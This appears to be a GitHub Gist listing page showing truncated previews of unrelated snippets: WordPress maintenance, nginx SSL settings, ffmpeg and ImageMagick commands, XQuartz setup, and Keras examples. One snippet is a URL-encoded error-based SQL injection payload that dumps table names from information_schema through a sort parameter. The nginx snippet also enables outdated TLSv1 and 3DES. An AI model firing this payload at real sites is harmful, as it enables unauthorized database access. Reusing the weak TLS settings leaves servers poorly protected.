This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
cd /data/www/vhosts || exit; | |
wp cli update --yes >> /root/cron/log-wp.txt | |
find . -type f -name 'wp-config.php'|while read line; | |
do | |
realpath=$(readlink -f $line); | |
dirname=$(dirname $realpath) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Fix ERR_SPDY_INADEQUATE_TRANSPORT_SECURITY on NGINX / SSL / SPD | |
#Tested on Plesk 17 NGINX / SDPY / LETSENCRYPT | |
#To reproduce this error you can check on Windows 7 / Chrome 47 https://www.browserling.com/ | |
#Add this in server | |
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; | |
ssl_ciphers EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5; | |
ssl_prefer_server_ciphers on; | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#Using libpuzzle trough command line tools puzzle-diff to detect difference image from IP WEBCAM Android application | |
#Keep in mind this not replace the real detection video, because the real detection motion use realtime detection. | |
#This bash script detection two image first +0s and +60s and detect the difference trough puzzle-diff | |
#Require "puzzle-diff" run apt-get install libpuzzle-bin | |
while((1)); | |
do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#Verify the quality with difference bitrate ( crf no work with h264_videotoolbox use -b:v ) | |
#You can use the same audio codec change -c:a ac3 to -c:a copy i use it because it work my multimedia player | |
for bitrate in 500k 1000k 1500k 2500k 3000k 3500k;do | |
ffmpeg -i Movie.mkv -c:v h264_videotoolbox -c:a ac3 -b:a 128k -y -b:v $bitrate -ss 00:01:00 -t 00:00:10 Movie_$bitrate.mp4; | |
done | |
#With 2500k bitrate | |
ffmpeg -i Movie.mkv -c:v h264_videotoolbox -c:a ac3 -b:a 128k -y -b:v $bitrate -b:a 128k Movie_$bitrate.mp4; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Combine all images | |
convert -verbose *.jpg -combine diff.png | |
#Using fuss | |
compare -verbose -fuzz 2% photo-11-03-* diff.jpg | |
#Only show the difference | |
compare -verbose *.jpg -compose src diff.png |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Script to install xquartz and set the DISPLAY variable correctly, find the listen port and add current ip to connect to X11. | |
#skip if you want, install xquartz | |
brew cask reinstall xquartz | |
#get ip | |
IP=$(ifconfig|grep -E inet.*broad|awk '{ print $2; }') | |
#open XQuartz | |
open -a XQuartz & | |
#Go to preference Security check allow network, restart : | |
read -p "Go to preference Security check allow network and press a key to continue" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
from keras.models import Sequential | |
from keras.layers import Dense | |
# dataset | |
trainX = np.array([1, 2 ,3 ,4 , 5 , 6 , 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) | |
trainY = np.array([3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72]) | |
# create a model | |
model = Sequential() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from keras.models import Sequential | |
from keras.layers.core import Dense, Dropout, Activation | |
from keras.optimizers import SGD | |
import numpy as np | |
X = np.array([[0,0],[0,1],[1,0],[1,1]]) | |
y = np.array([[0],[1],[1],[0]]) | |
model = Sequential() | |
model.add(Dense(8, input_dim=2)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://example.com/view_all_set.php?sort=id%2Cstatus%2Cseverity%2Cextractvalue%28null%2Cconcat%280x3a%2C%28SELECT%20group_concat%280x2D%2Ctable_schema%2C0x2E%2Ctable_name%2C0x2D%29%20FROM%20information_schema.tables%20WHERE%20table_schema%20%21%3D%200x6D7973716C%20AND%20table_schema%20%21%3D%200x696E666F726D6174696F6E5F736368656D61%29%2C0x3a%29%29%20--&dir=ASC,ASC,ASC&type=2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
This version is probably out of date, look at the dsci4-hacks ( Thanks to him x) ) instead: | |
*** not tested *** | |
https://github.com/dsci4-hacks/Delete-Teams-Messages/blob/main/delete_my_teams_messages.js | |
Thank you for all your contributions in comments |
OlderNewer